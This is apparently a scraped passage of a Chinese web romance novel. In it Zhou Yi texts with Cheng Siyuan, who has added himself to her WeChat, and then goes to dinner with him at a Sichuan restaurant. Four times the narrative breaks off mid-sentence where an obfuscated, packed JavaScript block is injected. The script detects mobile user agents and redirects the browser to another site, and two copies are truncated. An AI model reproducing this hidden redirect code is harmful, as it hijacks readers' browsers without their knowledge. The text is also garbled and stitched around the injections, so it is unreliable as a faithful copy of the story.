周依动作一僵,含糊说了句:“也不一定。” “那你呢?”她又问。 “我啊,我可能——” 李佩佩还没有说完,就听视频外传来她爸爸的呼喊声,大概是什么下来帮忙之类的。 “奥好,知道了,马上就下去。”她说:“我爸叫我,先挂了哈,下次见面再跟你说。” 周依见视屏挂断,撇撇嘴又百无聊赖地躺回床上,拿起手边的大象在空中抛着玩。 忽然,一个没接好,那大象就竖直砸到了她脸上。但好在玩偶够软,砸的也不疼。 她把那大象举在面前看了一会,半晌,叹出一口气,嘴里嘟囔着:“还是被他看到了。” “嗡、嗡——” 蓦地,手机震了两声。 周依伸手去摸,顺势解了锁,随后就见微信最上面忽然多了个聊天框,不由“咦”了一声。 因为上面信息显示: 您已经添加了“在途”,现在可以开始聊天了。 她皱眉点开聊天框,疑惑地念了声对方的昵称:“在途,谁啊?” 这人的头像是个画着结满甜杏的杏树油画,朋友圈空空如也,就连背景也是最原始的图片。 周依心里更是纳闷,她寻思着她也没有加谁好友啊,难不成昨天晚上喝醉干的? 不能吧…… 她心里正嘀咕着,突然手机又震了一下,这个叫“在途”的人发来了信息: 在途:起来了吗,粥有没有凉? 只要周依还没有傻,这时候她就是再不知道,也该知道了。 “我去!程司远?”她惊呼一声,直接从床上弹了起来。 不是,我怎么加—— 没等周依纳闷完,蓦地就想到刚刚程司远拿着自己手机的一顿操作。她还以为那人就只在备忘录里写了两行数,没想到还…… 也太狡猾了。 她拿着手机愣了半天,没有回复。忽然,聊天框下面又推出一条信息: 在途:还没起? 周依突然回过味儿来,瞬间觉得自己的手机变得滚烫,一撒手,“啪嗒”掉在床上,下一秒又惊慌拿起,随后又扔一边,再拿起、再放下…… 你说别,她还挺忙。 如此反复了不知道多少次,直到手机又震了一声。 在途:我可都走一个小时了。 周依闭了闭眼,认命了。她点开聊天框,硬着头皮发了句: 月曜:起了,粥吃了还热着。 看看,这人隔着屏幕撒起谎连眼睛都不带眨的。 只是过了没两秒,对面就又发来信息。 在途:真起了? 在途:那你说说粥里的南瓜是大块的,还是小块的? 周依看着这两条信息倏地怔住,随即连滚带爬就下了床,鞋都不穿地冲进了厨房,戴着砂锅旁的防烫手套轻轻揭开锅盖,然后—— 无语了。 不是,她哥居然不信她,还给她下套! 什么里面是大块小块的,这分明就是把南瓜蒸熟又碾碎了,哪有什么块儿啊。如果非要说有,那也是零星几个漏网之鱼,连小块都算不上。 周依瘪了瘪嘴,随手拍了张照片,发过去质问。 月曜:请问你的大小是按分子大小划分的吗? 谁知道对面那人答非所问,引用了她前面的话,发了句: 在途:吃了? 周依看着这两句话,瞬间有一种搬起石头砸自己脚的感觉。还是丝毫没有犹豫的那种。 不过没关系,这人就仗着“隔着屏幕你能拿我怎么样”的态度,打算先下手为强,因为她想到—— 月曜:这不重要。 月曜:重要的是你怎么知道我昨天跟佩佩在一起? 这个问题她刚视频的时候就想到了,应该不能是李佩佩说的,那只能是—— 在途:段梓坤。 果然,不亏是“间谍”。周依心想。 但她想完又觉得奇怪,段梓坤怎么知道她在哪?而且程司远为什么给李佩佩打电话? 但没等她打字问,对面那人就发来了信息。 在途:问他要了你的手机号,怕你不接,就又要了李佩佩的。 在途:一开始不确定你在哪,就打了她的电话问一下。 在途:之后的,我也没想到。 周依看着最后一句觉得自己脑袋嗡嗡作响,别说程司远没想到,就连她自己也没想到,怎么就能阴差阳错的自己给接了,真是丢人丢到外太空,她简直要和地球挥泪说再见了。 月耀:他还真什么都说啊。 在途:间谍嘛,很正常。 “我去!” 周依惊呼一声,看着这六个字吓得手机差点飞出去,下意识左右看看,像是在找针孔摄像头。 不儿,这人真的会读心术!还是隔着屏幕的那种! 没过几秒,聊天框最下面那人又发了一条信息。 在途:问完了就快吃,下班去接你。 周依眼睛一跳,一边拿碗给自己盛粥,一边单手打字,回复着:接我干什么?你不是挺忙 她还没有打完,眼睛扫了一遍,觉得自己这话酸唧唧的,活脱一个喝了不少醋的抱怨精,不由嘴上“啧”了声,抬手删了刚打出来的字,又改为:是有什么事吗? 这次程司远没和刚刚一样秒回,周依端着碗坐在餐桌前,上下翻了翻手机,等了一会儿还是没动静,就想着可能是去忙了,便把手机关了放在一边,下意识拿着勺子喝了口粥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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护士A走到童遥身边,偷偷瞥着还在笑的程司远,小声道:“童医生你看,程医生正对着手机笑呢。” 童遥闻言转头看向八卦中心人物,挑眉,还真是。 但很快她又觉得没什么,耸了耸肩说:“也还好吧,你们不经常对着手机笑吗?” 听到童遥这么说,护士B急忙道:“哎呀,不是。程医生他从坐下笑到现在,这都快半个小时了,不奇怪吗?” “哟,真的。”童遥听了也是一脸“发现新大陆”的模样。 她点点头,眉梢微扬看着几人道:“要不我去问问?” 护士A连忙拉住道:“这样不好吧,还是别了,万一程医生生气怎么办。” “噗哧”,童遥笑了出来,说:“你们都在这议论半天了,还怕他生气?” 霎时间,三人被童遥说得尴尬的脸都红了。 童遥轻咳一声,收敛了笑意道:“没事,程医生人挺好的,大大方方问就行。” 她说着抬腿便走向程司远,招呼道:“哎,司远,笑什么呢?嘴角都到太阳穴了。” 三人倒吸一口冷气,敬佩童遥是位勇者。 “嗯?” 程司远听到有人叫自己,转头道:“来了。” “笑什么呢,你这马上都成办公室的奇观了。”童遥坐回自己的工位上打趣道。 闻言,程司远垂眸看着手机又是轻笑了一声,手指在屏幕上轻快的点动,说:“逗猫。” 42.昵称 护士A是个十足的爱猫人士,听到“猫”字,立马就来了精神,刚刚还不敢跟程司远说话呢,现在倒是勇往直前了。 “程医生你家有养猫啊,长什么样子呀,我可以看看吗?”她问。 童遥满脸疑惑,她昨天怎么没见程司远家有猫,不由疑问道:“啥时候养的,我怎么不知道?” 程司远刚想说话,又听手手机轻震一声,垂眸去看,嘴角含笑道:“快了。” 他在屏幕上轻点几下,随后拿着文件夹站起身,对童遥说道:“走了,查房。” 说完,迈腿就走了出去,留下童遥站在原地一脸茫然。 过了好半晌,她才反应过来,拿着自己的文件夹快步赶上,抱怨道:“我这刚来!” 剩下的护士三人面面相觑,空气安静了一会儿。蓦地,护士A看着两人尴尬道:“程医生说‘快了’,这是养了还是没养,我怎么听不懂啊。” 护士C一脸高深莫测道:“不愧是程医生,说话跟没说一样,啥也没有出来。” 她咧咧嘴,伸手理了理自己的护士帽,继续道:“我也走了,还有几床的血压没量呢。” 护士B则是叹息一声道:“我看还是放弃吧,听他说话我感觉我都跨频了。” 说完也走了。 护士A看大家都走了,不由“呃”了声,也嘟囔道:“那我也走吧。” 没一会功夫,诺大的办公室就只剩风吹过桌案,留下的纸页翻卷声了。 周依洗漱好坐回餐桌前,美美地喝这她那奶香四溢的南瓜粥,每喝一口她都忍不住在心里嘀咕,真是被学医耽误的厨子,这也太会做饭了,马上胃口都被养刁了,都赖他。 听听,有口福的某人还抱怨起来了。 周依闷头又吃了几口,忽然手机震了下,她顺势拿起解了锁,见是程司远的消息不免眼睛一亮,心里也跟着高兴,嘴角的笑意更是愈加浓郁,连忙点开查看。 在途:到时候你就知道了。 “怎么还卖关子呢。”周依嘴里嘀咕一声,又发了条信息过去。 月曜:嗯好。 这回程司远没有让他久等,很快便有了新消息。 在途:乖乖吃饭,等我接你。 “啪嗒”一声,周依手中的汤匙掉在了碗里。 霎时间,她感到自己的眼睛被烫了一下,连忙别过眼去,脸颊开始热辣辣的,心也在怦怦乱跳,拿着手机的手不由自主地细细颤抖。 他说什么? 周依不敢多想这几个字面以外的任何含义,急忙关了手机,把它扣放在桌子上,涨红着脸低头拿起碗匆匆地吃了几大口,努力平复被自己隐藏在心底的情绪。 须臾,她偷偷抬眼瞟向手机,随即又别过眼来,拿起勺子又是一大口。南瓜在香甜在嘴里四溢开来,从舌尖到心脏,里里外外都是甜的。 没一会儿粥吃完了,刚刚响个不停的手机,现在却也静得出奇。 周依心虚地又悄悄瞥了一眼,见真的没有动静了,不免又好奇,那人是不是在忙了? 她慢慢伸手将手机翻转过来,确定真的没有新消息了,这才在心里暗暗松了口气,歪着脑袋,用食指上下滑动着自己和程司远的聊天记录。 眼过之处,暖意四起,嘴角更是不受控制地微微上扬。 只是内容就那么多,再加上对方的朋友圈干净的像是被水洗过。没一会儿,周依便觉得无聊了。 这不,划拉了几下便又翻出去,看人家名片了。 果然,也是一贫如洗。 “在途”下面,就孤零零的坠了个手机号码。 但为什么叫在途啊,听起来像是一个坐在办公室留着地中海发型,喝一口热茶最后还要再呸两口的……老大爷? 她哥倒底什么品味啊。 周依一脸嫌弃地看了“在途”好久,最后觉得还得来个备注,盖个马甲,不然这聊天的时候突然想起“地中海”,就还挺……违和的。 她手指在备注框上轻轻点动,刚打出“程司远”三个字,还没要确定,就连按了删除键全部清除。直接备注名字不是她的风格。 她微信里只有两种,一种是没有备注,原本的昵称是什么就是什么;另一种就是“乱备注”,就是那种除了她,没人能猜出来谁是谁的备注。 所以,备注什么呢…… 周依看着屏幕苦恼地直皱眉,突然,她灵机一动,嘴上还“嘿嘿”偷笑两声。 “那就这个吧!”她说。 周依手指在键盘上轻快点了几下,备注框很快就留下了——木头,二字。 “嗯,不错不错,我只不过是平平无奇的备注天才罢了。” 周依看着聊天框上的昵称十分满意,笑了两声就又拿起勺子去吃南瓜粥。 可这刚抬手,就见碗里已经空空如也了,蓦地愣了愣,随后又拿起空碗,站起身喃喃道:“要不……就再来一碗吧。” 没办法,人生大事,吃喝二字。周依长这么大不知道被多少人说过馋,小时候说她是个小馋虫,有了零花钱就去买零食,存不了一点钱。这长大了那就是大馋虫,看见好吃的更是迈不开步子。 她习惯把好吃的东西吃进肚子里,因为咽下去,就是她的了。就像她习惯把悸动的人放在心底,偷偷藏起来,就是她的了。 一个人的日子周依过的很习惯,床上躺一会,沙发歪一会,玩玩手机看看电视,实在没事干了,就去把家收拾一遍,反正不会无聊就对了。 可不知为何,今天好像格外漫长点。 周依歪在沙发上抬眼看着钟表,瘪着嘴有些不耐烦。她手机玩了、电视看了、碗洗了锅刷了,就连家里的地板她都拖两边了。但怎么才……四点啊。 “好慢啊。”她嘴里抱怨着。 “嗡嗡”手机突然震了两下,周依眉毛一跳,立马从沙发上坐直,拿起手机就是解锁,定睛一看—— 天气预报。 “……” 周依无语了那么几秒,她还以为是—— 算了,不重要。 她本着既然打开,那就看两眼以示尊重的态度,快速扫了眼,说晚上降温,昼夜温差较大,注意添加衣物。 周依愣了下,扭头看着窗外的大太阳,就是一脸无语,这怎么看都不像是能降温吧…… 她咧着嘴又重新看了眼天气预报发送人,非官方。 那可信度肯定不高。再说了,夏天降温,那不正好凉快? 周依在心里暗暗吐槽了一句,无聊的从沙发上站起在客厅踱步。 忽然,她灵光一闪,心血来潮,拍手道:“啊,对了!我可以先去看看一会儿穿什么,正好打发时间。” 这人说是急那是快,回房间就把自己衣柜翻了个遍,甚至还找到不少之前自己小时候的衣服。 周依拿着像是缩了水的衣服,在镜子面前往身上比了比,心里不由得怀念,想来那时候还是短发呢。 她咂巴着嘴,又伸手去拿其他的衣服,突然“啪嗒”一声。 一个小储物箱从柜子里掉了下来,里面装着的东西也散了出来—— 几个写满的草稿本、几本翻得发皱的漫画,还有一团皱巴巴的纸跟零零碎碎的小玩具。 看起来,像是谁家不要的垃圾。 周依倏地顿住,放下手头的衣服,转身将它们一一拾起来、放好。 她盯着那垃圾——哦不、储物箱看了一会儿,半晌才没头没尾说了句:“谁让你出来的,真是不听话,滚回去睡觉。” 说着,抬手就把那箱子放回了原位,顺势又往里面推了推,像是怕它时不时再跳出来。 周依看着柜子,蓦地感觉自己心里有团东西,杂乱无章缠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283704|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起,乱糟糟的。刚才那股鸡血劲儿一过去,这会儿倒是觉得有点累了。 她抬头看了眼时间,对着镜子拍拍自己的脸道:“都五点半了,别想些乱七八糟的,换衣服,感觉换衣服。” 话是这么说没错,可这人挑了半天,愣是没挑中一件合适的。正发愁穿什么时,突然—— “嗡、嗡、嗡——” “喂,你好。”周依急忙接起。 “你好,周女士,现在方便约你共进晚餐吗?” 手机里传来程司远略带笑意的声音。 一霎间,周依的耳朵像是有电流经过,连着半边脸都是酥酥痒痒的,脸上也不自主地浮现两片红晕,支吾道:“你、你下班啦,好快啊。” “嗯,事情处理的顺手,就先回来了。”程司远说:“我现在到小区门口了,马上就到家。” 瞬间,周依睁大眼睛,看着自己床上的一片狼籍,急促道:“哎不用不用,你不用上来了,我这就好了,我下去。” 说完,还尴尬地讪笑几声。 程司远眉毛微微上扬,不知道她在打什么算盘,但还是开口道:“好,那我在门口等你。” “嗯嗯,我很快的,马上就到。” 周依说完立马就挂了电话,也顾不得再筛选穿什么了,随便套了件还算看的过眼的淡黄色裙子,穿了鞋就飞奔出门。 一路小跑,直到看得到程司远,才慢慢放下脚步。 此时程司远正背靠着车门,白衬衫挽到手肘,露出的一截手臂,润白而又有成熟男性的线条感,肩宽腿长,甚至让周依有一种模糊的真实感。 “依依,这里。”程司远招呼出声。 周依被叫的回了神,轻嗯一声又小跑几步,到他身边,抬头道:“抱歉啊,我有点慢。” “跟我还客气什么。”程司远浅笑一声,拉开车门道:“公主请上车。” 周依被他这举动惹地耳根发烫,连着脖颈处都微微泛着粉红,没多说话,俯身便坐了进去。 只是她刚准备去拉安全带,手就停在了半空。 那上面多了个东西,毛茸茸的,是个小猫咪的保护套。 程司远坐上驾驶位,见周依愣在那,便开口道:“是不是挺可爱的?” 他声音淡淡的带了些许笑意,显得格外好听。 “嗯,是挺可爱的。”周依拉过安全带系好,下意识问道:“为什么突然买了这个。” 说完,她心里突然咯噔一下,没来由想起了那天的急刹。 她将头转向窗户,觉得脸上有点发烫。一边期望着程司远的回答跟自己想的一样,一边又害怕程司远的回答跟自己想的一样。 不禁一颗心都提到了嗓子眼,连呼吸也变得小心翼翼。 “偶然遇到的。他说:“觉得可爱就买了。” 听到答案的周依下意识松了口气,但心底却莫名多了几分失落。真的不多,就一点。 只不过她没发现的是,在她问完那一句之后,程司远的眼中也肉眼可见地慌了下,同样她也不知道,那只猫猫,明明就是程司远一早买好,专门放上去的。 “那天被耽搁的川菜,今天带去你。”他说:“带你去吃糯米鸭。” 周依奇了下,刚刚那股莫名的情绪,瞬间被这新鲜的菜名分散不少。 “糯米鸭?那是什么?”她说:“居然是川菜吗?听着感觉不太像。” 程司远开动了车子,说:“是川菜,但不是辣的。” 周依来了兴致,甚至坐正几分,以表对美食的尊重,问:“那是什么味道的,好吃吗?” 程司远看她这幅谗样不禁勾起唇角,眼睛轻瞥向那只正趴在安全带上眼冒爱心,嘴里还留着口水的猫猫。心道,你看,果然一摸一样。 馋猫。 “一会儿,尝了就知道了。”他说。 43.玩脱 晚霞的余晖快要消失殆尽,像碎金一般,温柔地洒在天际边,映入车内,照在周依的脸庞上。她微微眯眼,本能伸出手去遮挡,光线便在脸上留下手指的倒影。 红灯亮起,程司远余光正巧看到了周依那细小的动作,她微微凝眉,安静地坐在那儿,阳光打在她的侧脸,面颊上细细的绒毛都像是在发光。 他忽然晃了心神,心中微微松动。 片刻,绿灯就要亮起,程司远喉结滚动,伸手取下周依头顶的遮光板,声音有些低哑道:“再忍忍,马上到了。” 周依一愣,转头笑道:“哦好,谢谢呀,我都忘记可以取下来了。” 程司远耳尖被那余晖照得有些发红,眼神闪躲了一下,转过头道:“没关系,我记得。” 声音温柔如玉,传入周依耳朵却是变得滚烫,她脸颊染上一层薄红,急忙别过脸去,轻嗯一声,便不再说话了。 绿灯亮起,道路无阻。 程司远开着车一路弯弯绕绕,在一家门脸不大的苍蝇馆门口停了车。 “到了,就这。”他说。 周依转头看向窗外略微觉得惊讶,她还以为以程司远的洁癖程度,这辈子都不能来这种地方吃饭,不由狐疑地侧眼看着他。 难不成洁癖治好了? “你这什么表情?”程司远打开车门道:“下车吧,小心点。” 周依瘪着嘴,下车时还不忘嘟囔道:“见鬼的表情。” 好在她声音够小,程司远也没听见。 那小店虽然门脸不大,但看着却十分热闹,或许正因为到了饭点,就连门店外面的空地上也摆了不少桌子,不远处还有桌男生在拼酒,又是吆喝又是哄笑的,说不出的肆意洒脱,在这路边吸引着那些活得规规矩矩的人。 周依跟在程司远身后,刚进店门就听见有人向他们招呼道:“哎,帅哥今天不是一个人啊,咱们这是两位?。” 出声人年龄不大,看起来应该是老板的女儿,可能是经常在店里照顾生意的缘故,字字都透露着油滑。 程司远微微点头,眼睛朝着店里扫了一圈道:“对,两位。” “哎好,那你们坐这吧。” 那姐姐说着就伸手引他们进去,位置正是刚刚程司远目光扫过的地方。 她拿着抹布擦了擦桌子,向外面扫了一眼,说:“做里面,里面好,这空调没对着。外面他们一群人咋咋唬唬的,太吵。” 虽然她嘴上说的嫌弃,但声音里却透着笑意。 程司远顺势坐下来,说:“没事,坐哪都一样。” 周依看着两人一说一笑,不由觉得纳闷,低声问道:“你经常来嘛?” 可谁知程司远还没开口,那热情的姐姐却先一步说道:“哎呀,要经常来就好了,我也能养养眼。” 她看着程司远笑了一声道:“我记忆力好,帅哥来过一次就被我记住了。” 程司远点头,垂眸道:“就来过一次。” “你们看看要吃什么。”那姐姐把菜单递给程司远道:“我去让后厨快点做,一会儿人该多了。” 程司远接过,又递给周依道:“你看看有没有什么想吃的。” 周依正准备拆碗筷,刚拆了一半就见菜单蓦地出现在面前。她手上动作顿了顿,放下碗筷,接过菜单道:“那我看看。” 这是家川菜馆虽然看着不大,但你别说,这做的菜品却是出奇的齐全,好多她都没有吃过。就比如,糯米鸭。 周依前前后后看了好几遍,本来就是“选择困难晚期”,这下好了,直接改判死刑了。如果胃口足够大,她真想都点一遍。 最后纠结半天,还是—— “我要糯米鸭就行,再得你看吧。” 她觉得这份苦差事,还是打包丢回去的好。 只是没想到,这刚抬头就见程司远不知什么时候把自己的碗筷给拿了过去,正拿着湿纸巾仔仔细细地擦着。 周依心头一热,伸出去的菜单在半空顿了顿,蓦地又往回收了一点。 程司远把擦完的碗筷在她面前摆好,伸手接过菜单却没有再看,而是直接交换给了老板姐姐。 “麻烦要一份糯米鸭、一份山城辣子鸡。”他说:“再要一份莲白炒腊肉,不要蒜末和蒜苗,谢谢。” 老板姐姐拿菜单记录之余又抬眼问了一句,语气不解道:“帅哥跟上次点的一样啊,这次不要蒜末和蒜苗是上次吃得不好吃?” 周依仰头看着老板姐姐,刚想要开口解释,但还没出声就听见耳边响起程司远的声音。 “挺好吃的。”他说:“就是最近忌口,吃不了这些,麻烦了。” 老板姐姐轻笑一声,连忙挥手道:“不麻烦,不麻烦,我还怕是不和你的胃口了。” 她又给两人倒了杯水,指了指后厨道:“那你们等一会儿,我去给你们盛米饭。” 说完笑着便走了。 周依垂眸看着自己面前的餐具,忽然觉得有点坐立难安,犹豫半天,嘴里还是支吾道:“那个……谢谢哈。” 程司远闻言抬头,嘴角微微上扬道:“跟我说什么谢谢。” 周依抿了抿嘴,觉得有些尴尬。她现在脑子里除了谢谢,是真再想不起来其他一点什么,感觉说什么话都奇怪,提什么话语都突兀。 正苦恼怎么办呢,忽然,一个靓丽的声音救了她。 “来喽,你们的米饭。”老板姐姐又递过来一个盘子道:“还有糯米鸭。” 周依自觉得救,连忙将碗筷往自己身边移了移,嘴里还忙不迭说着:“谢谢,谢谢。” 老板姐姐冲着周依笑道:“别客气,这糯米鸭你们趁热吃,上面皮是这道菜的精华,可脆了,一会凉了怕是会耽误口感。” 周依应声看去,盘中的鸭肉裹着糯米,经过高温烹炸,呈现出金黄色的诱人外观,香的她那是直流口水,眼睛也是再转不开。 程司远轻笑一声,拿起筷子夹过一块儿糯米鸭到自己碗中,将上面的鸭皮剥掉又夹给周依,说:“尝尝,热的好吃。” 周依看着自己碗里去皮的糯米鸭,倏地又想起刚刚的温馨提示,歪着头问:“那个姐姐刚刚不是说鸭皮是精华吗?” 程司远喉咙微微滚动,像是在忍笑道:“那你吃皮嘛?” 按道理,周依这倔脾气现在她应该跳起来说,我吃! 但想到万一程司远这时候来一句,那行,你吃吧。这不就玩脱了? 于是,在不吃与面子之间,周依果断的选择了前者,诺诺道:“不吃……” 程司远似乎看到了她内心挣扎的戏码,原本忍住的笑意,现在竟泄出了一声,说:“那不就得了。” 他不笑还没事,可这一笑周依瞬间觉得自己被看扁了,她倔脾气实在忍不了,誓死都要为自己的面子搏一搏。不就是鸭皮嘛,虽然自己不吃皮和肥肉,但这烤焦的应该还是能尝尝的吧。 她心里打定主意,直起腰杆不服道:“怎么,我不吃还不能尝尝了?” 说着就夹了一块到自己碗里,然后“自信满满”张嘴就咬。 这一口下去,那脆爽的声音在耳边炸开,先是鸭皮的酥脆,再到鸭肉鲜香,随后又是糯米伴着花椒粒的椒香,让周依眼前一亮。 但随着口中翻转,舌尖搅拌,她却慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听了这话,周依羞的恨不得耳朵都能掉下来,她死死地低着头,假装自己吃的认真根本没听清程司远说了什么。 “来啦,你们的辣子鸡还有莲白炒腊肉。”老板姐姐两手端着菜走了过来。 周依如蒙大赦,抬头喘息了一口,刚想伸手给盘子腾地方,还没来得及动作就被程司远一把抢了先。 “谢谢,放这儿吧。”他说。 老板姐姐道:“哎,好嘞,谢谢呀帅哥。” 她将盘子放好又笑道:“那你们就先吃着,米饭不够了我再给你盛。” “嗯好,麻烦了。”程司远点头笑了笑。 老板姐姐突然觉得有点不好意思,脸微微泛红,伸手挥了挥道:“哪里哪里,应该的,应该的。” 她说完讪笑两声,转身又去前台拿了两瓶花生奶,过来说:“送你们两瓶我们那的特产,尝尝怎么样。” 周依看到有些惊愕,慌乱拒绝道:“啊?不用了姐姐,真的不用。” 那老板姐姐却是听而不闻,自顾自地打开了手里的花生奶,递给两人道:“害,一回生二回熟,要是觉得饭菜合胃口,下次你们再来。” 只是说完临走前,还专门偷偷瞥了眼程司远。 周依哑然,这她那还能不明白? 面前这花生奶哪是什么送给“你们”的,分明就是送给对面这说话淡然,行为绅士的精壮青年啊。 你别说,长得帅还真能吃红利。 44.外套 周依咧着嘴嘴,本着不要白不要,打都打来了的心态,拿过面前的花生奶,咬着吸管就要打算品尝一番。同时脑子里还不由默默嘀咕着,能有多好喝? 只是,浑然不知自己醋罐子打飞天的某人,这刚入口,眼睛就惊得瞪了起来。 “嗯?这个好喝诶。”周依感叹道:“跟之前喝的都不一样。” 程司远听了也好奇道:“哦,是吗?那我也尝尝。” 说着,便也拿起自己面前的花生奶喝了一口。 “嗯,是挺不错。” 他将瓶子拿在手里,仔细端详道:“上次来以为不好喝就没买,这次要不是老板送我们,大概率又要错过了。” 周依嘴角微微抽搐,人家想送的可不是“我们”。 她心里虽这么想,但面上倒是没表现出来,只开口问道:“你是怎么找到这家店的呀?” 她左右看了看周围的环境,继续道:“感觉这里还挺难找到。” 现在正是饭点,店里陆陆续续来了不少人,三五成群的。门口不远处坐了一桌从公司抽空出来吃饭的加班族,几人一边吃着麻辣鲜香的毛血旺,一边头对着头嘴里骂骂咧咧说着天杀的老板,该死的甲方。 这不,还有不远处的几位工友,他们把工地衣服抗在肩膀上,一路有说有笑的指着这家川菜馆,像是在讨论吃什么来犒劳自己的五脏庙。 到了店门口服务员请他们进去,他们又叫喊着,屋里热,大夏天的外面凉快,吃饭香。 “之前没事,偶然玩手机刷到了。”程司远道:“感觉还挺不错的就来了一次,尝尝味道。” 他拿着筷子夹了面前的辣子鸡到周依碗里,说:“这家辣子鸡也很好吃,你应该喜欢,尝尝。” 蓦地,又抬眼看了看周围,继续道:“在这吃饭,挺好的。” 周依垂眸看着自己碗中的辣子鸡,耳根微微发烫,刚想张口说谢谢,忽而又想到程司远不久前的话,便改口,轻声道:“我喜欢。” 声音很小,如若蚊声。 程司远一怔,却是没听太真,问:“什么?” 周依被问的有些慌乱,抬眸看了他一眼,瞬即又连忙转开道:“就……挺好吃的,这也很好。” “奥,这样啊。” 程司远眼睛里划过一丝失落。 还以为…… 他心苦苦笑一声,说:“那下次再来尝尝其他菜,应该都挺不错的。” “嗯,好呀。”周依轻笑道。 程司远垂眸夹起一片腊肉,依旧先将肥肉剥去,再夹给周依,说:“别光吃莲白,尝尝腊肉,也好吃。” 周依急忙拿碗去接,嘴上又下意识说:“谢——” 可“谢”字还没说完,她就抿唇住了嘴,顺便又把另一个谢字咽了回去,转口道:“你别光顾着给我夹,你也快吃。” 程司远轻“嗯”一声,将手中的碗递给她道:“不吃的都挑给我吧。” 周依拿筷子的手微微顿了顿,下一秒又故作镇定拿过程司远的碗,将刚刚自己剥下的鸭皮都夹了过去,递给他。 傍晚,一弯新月悄悄升起,周围还有几颗星星发出微弱的光亮,点缀着静谧的夜空。 两人饭桌上的饭菜也被吃得七七八八,周依吃完坐在凳子上缓缓地揉着肚皮,一副懒洋洋的模样,像极了刚吃饱饭的猫。 程司远看着她嘴角勾了勾,浅笑道:“吃太饱了?” 周依坐直身体尴尬道:“嘿嘿,太好吃了,一不小心就吃多了。” “要不我们去旁边走走?”程司远拿出手机看了时间道:“散散步,一会儿再送你回家。” “好呀。”周依说。 时间早晚她倒是无所谓,回家了也一个人,不如外面多待会儿,只是—— “你对这熟悉吗?”她问。 没什么其他的意思,她就单纯的是个路痴罢了。 “不熟悉。” 程司远顿了顿,忽然又笑道:“但我应该是走不丢,你跟着我可以放心。” 瞬间,周依脸颊由内透着红,眼睛也不敢直视坐在自己对面这人,便撇过脸假装不明白他说了什么。 程司远见她这幅样子又是忍不住低笑两声,指了指前台的位置,说:“我先去买单。” 周依也跟着起身,走在身后幽幽看向他那微微抖动的胳膊,心道,笑吧,门牙笑掉才好呢。 “哎,帅哥是要走了,吃好了吗?”老板姐姐看到两人走来,便出声招呼。 “嗯。”程司远道:“结一下帐吧。” 老板姐姐连连点头,拿起计算机“啪啪”就按了起来,笑容满面道:“帅哥,咱们一共是115元。” 她看似不经意地上下瞟了程司远一眼,又道:“帅哥,觉得咱家店的味道怎么样?” 闻言,程司远脑子里闪过刚刚周依摸着圆滚滚肚子的模样,不禁嘴角忍笑道:“嗯,挺好吃的。” 这下,老板姐姐笑得更欢了,说:“那要不你加一下店里的微信吧,下次来给你算便宜。” 说是急那是快,她下一秒就掏出了自己的手机,页面正是二维码。 周依下意识皱了皱眉,心里倏地生出一个想法—— 她其实,不太想程司远加她。 可……她没理由让他这么做。 “你来加吧。” 程司远转头看向身后,朝那正在发呆的某人道:“我工作忙,不方便。” “什么?” 周依愣了下,似乎没听清。 “你可以下次带李佩佩来,让她也尝尝。” 那年轻姐姐也跟着怔住,但很快她又拿着手机移向周依,说:“一样的一样的,到时候来了都打折。” 程司远后退一步让开,周依看着老板姐姐讪笑两声,上前掏出手机扫了二维码道:“谢谢啊姐姐。” 老板姐姐脸上的笑收敛了不少,看起来有点失落,但嘴上依旧是客气道:“没事没事,下次带朋友来吃饭通通打八八折。” “那就先谢谢老板了。”程司远看了眼门外,随后又对周依道:“好像起风了,你在这等等,我去车里拿件衣服。” 周依的目光随着他的背影看向门外,树叶沙沙,门口两颗柳树的枝条也在微微飘动,确实是起风了。她突然想起下午看那条天气预报,不由得心里跟着提了一下。 大意了,她该拿外套的。 只是担心不过一秒,很快周依又不以为然了。毕竟是夏天,想着也不会很冷,而且他们能在外面待多久?说不定程司远一会儿就要回去加班。 她头脑一阵风暴,突然一道靓丽的声音,打断了接下来的思绪。 “不好意思啊妹妹,他……刚刚那人是你男朋友吗?”老板姐姐压低声试探着。 瞬间,周依瞪大了双眼,手慌乱地在胸前乱摆,惊道:“啊不是不是,他不是我男朋友。” 听到她这么说,老板姐姐像是松了一口气,笑道:“我就说,你看起来比他小了五六岁,应该还是个高中生吧。” 周依:“???” 不是,这话怎么说?她怎么就看起来比程司远小五六岁了?满打满算也就差了三岁零三个月吧。 再说了,她怎么就还是个高中生了,明明都已经毕业了! 周依瘪了瘪嘴,有些不满道:“我毕业了。” 这下换老板惊讶了,她上下打量了一番周依,半晌才笑着抱歉道:“哎呀,真不好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327779|135289||http|test|mini|href|location''.split(''|''),0,{})); 